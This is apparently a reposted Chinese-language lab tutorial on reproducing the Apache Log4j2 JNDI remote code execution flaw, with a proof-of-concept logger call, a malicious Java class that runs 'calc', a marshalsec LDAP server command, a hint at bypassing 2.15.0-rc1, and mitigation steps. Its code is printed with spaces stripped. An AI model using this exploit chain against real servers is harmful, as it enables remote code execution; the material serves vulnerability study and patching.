1. 簡介
ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發框架與Web應用中。
2. 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經身份驗證的攻擊者通過發送特定惡意數據包,可在目標服務器上執行任意代碼。
3. 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
4. 環境搭建
1、創建一個新的maven項目,并導入Log4j的依賴包
org.apache.logging.log4j log4j-core 2.14.1
漏洞利用
1、使用POC測試
importorg.apache.logging.log4j.LogManager; importorg.apache.logging.log4j.Logger; classLogTest{ publicstaticfinalLoggerlogger=LogManager.getLogger(); publicstaticvoidmain(String[]args){ logger.error("${jndi//localhost:8888/Exploit}"); } }
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class文件
classExploit{ static{ System.err.println("Pwned"); try{ Stringcmds="calc"; Runtime.getRuntime().exec(cmds); }catch(Exceptione){ e.printStackTrace(); } } }
javacexp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務
java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit"8888
4、運行poc.java,即可訪問惡意類并執行寫在其中的"calc"命令
結合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數據"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此異常進行了捕獲。
5. 修復方式
目前,Apache官方已發布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建議同時采用如下臨時措施進行漏洞防范:
1)添加jvm啟動參數-Dlog4j2.formatMsgNoLookups=true;
2)在應用classpath下添加log4j2.component.properties配置文件,文件內容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產品進行安全防護。
-
JAVA
+關注
關注
19文章
2973瀏覽量
104899 -
漏洞
+關注
關注
0文章
204瀏覽量
15398
原文標題:手把手教你復現 Log4j2 漏洞
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影響?
Java日志框架中的王者是誰
使用Keysight免費評估Log4j/Log4Shell零日漏洞
華為云VSS漏洞掃描服務為你排除Apache log4j2隱患
![華為云VSS<b class='flag-5'>漏洞</b>掃描服務為你排除Apache <b class='flag-5'>log4j2</b>隱患](https://file.elecfans.com/web2/M00/6F/BA/poYBAGNHp3CAWpu8AB4NjbHdxsY258.png)
委派模式——從SLF4J說起
log4j日志框架分析
![<b class='flag-5'>log4j</b>日志框架分析](https://file.elecfans.com/web2/M00/94/E9/pYYBAGP9n36ARCiXAAGH2W3m17o808.png)
Spring Boot的日志框架使用
![Spring Boot的日志框架使用](https://file1.elecfans.com/web2/M00/89/1C/wKgaomR5WwmAXhoOAAJ-EercJrA306.jpg)
保護Log4j日志中的敏感數據,兩步搞定!
某些bug正常運行時會出現,當打開串口log時又不再復現怎么辦?
Log4cpp優勢及優點
![<b class='flag-5'>Log4</b>cpp優勢及優點](https://file1.elecfans.com/web2/M00/AF/06/wKgZomVMe4OAfI4oAAJ9PjTiDQ0235.jpg)
評論